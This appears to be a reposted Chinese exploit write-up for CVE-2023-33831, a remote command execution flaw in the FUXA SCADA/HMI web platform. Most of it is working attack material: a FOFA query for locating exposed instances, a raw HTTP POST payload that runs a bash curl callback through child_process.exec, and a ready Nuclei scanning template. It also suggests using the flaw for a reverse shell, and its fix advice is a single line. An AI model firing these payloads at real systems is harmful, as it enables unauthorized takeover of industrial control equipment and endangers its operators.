FUXA远程命令执行漏洞(CVE-2023-33831)

免责声明:文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

Ⅰ、漏洞描述

FUXA是一款功能强大的基于web的软件,可快速构建和部署可扩展的SCADA, HMI, Dashboard或IIoT系统

FUXA 非常容易从使用树莓派 up 的小型项目扩展到大型设施的可视化。它还提供了强大的完全基于 web 的新工具,允许您创建丰富的可视化,数据日志,警报,通知,趋势和远程设备实时控制,它使设备通过行业标准物联网协议 MQTT, OPC-UA, BACnet, Modbus, SiemensS7, WebAPI,以太网/IP (Allen Bradley)连接到一个易于使用的界面。低级协议(如 Serial 或 TCP)可以使您快速地与自定义或专有协议进行交互。

该漏洞会影响 FUXA 的脚本组件,因为对用户可以控制的输入缺乏控制或清理,从而允许使用可扩展为远程代码执行的危险方法。受影响的路径是 /api/runscript。

FUXA远程命令执行漏洞(CVE-2023-33831)_第1张图片

Ⅱ、fofa语句

title="FUXA"

Ⅲ、漏洞复现

POC

POST /api/runscript HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
User-Agent: python-requests/2.24.0
Accept-Encoding: gzip, deflate
Accept: */*
Content-Length: 321

{"headers": {"normalizedNames": {}, "lazyUpdate": "null"}, "params": {"script": {"parameters": [{"name": "ok", "type": "tagid", "value": ""}], "mode": "", "id": "", "test": "true", "name": "ok", "outputId": "", "code": "require('child_process').exec('/bin/bash -c \"curl http://youRDNSlog\"')"}}}

1、构建poc

FUXA远程命令执行漏洞(CVE-2023-33831)_第2张图片

2、查看DNSlog记录

FUXA远程命令执行漏洞(CVE-2023-33831)_第3张图片

Ⅳ、Nuclei-POC

id: FUAX-RCE

info:
  name: 该漏洞会影响 FUXA 的脚本组件,因为对用户可以控制的输入缺乏控制或清理,从而允许使用可扩展为远程代码执行的危险方法。受影响的路径是 /api/runscript。
  author: WLF
  severity: high
  metadata: 
    fofa-query: title="FUXA"
variables:
  filename: "{{to_lower(rand_base(10))}}"
  boundary: "{{to_lower(rand_base(20))}}"
http:
  - raw:
      - |
        POST /api/runscript HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        User-Agent: python-requests/2.24.0
        Accept-Encoding: gzip, deflate
        Accept: */*
        Content-Length: 321

        {"headers": {"normalizedNames": {}, "lazyUpdate": "null"}, "params": {"script": {"parameters": [{"name": "ok", "type": "tagid", "value": ""}], "mode": "", "id": "", "test": "true", "name": "ok", "outputId": "", "code": "require('child_process').exec('/bin/bash -c \"curl http://{{interactsh-url}}\"')"}}}

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, "dns")
        condition: and

FUXA远程命令执行漏洞(CVE-2023-33831)_第4张图片

PS:可使用此漏洞fantanshell

Ⅴ、修复建议

升级至安全版本

你可能感兴趣的:(安全)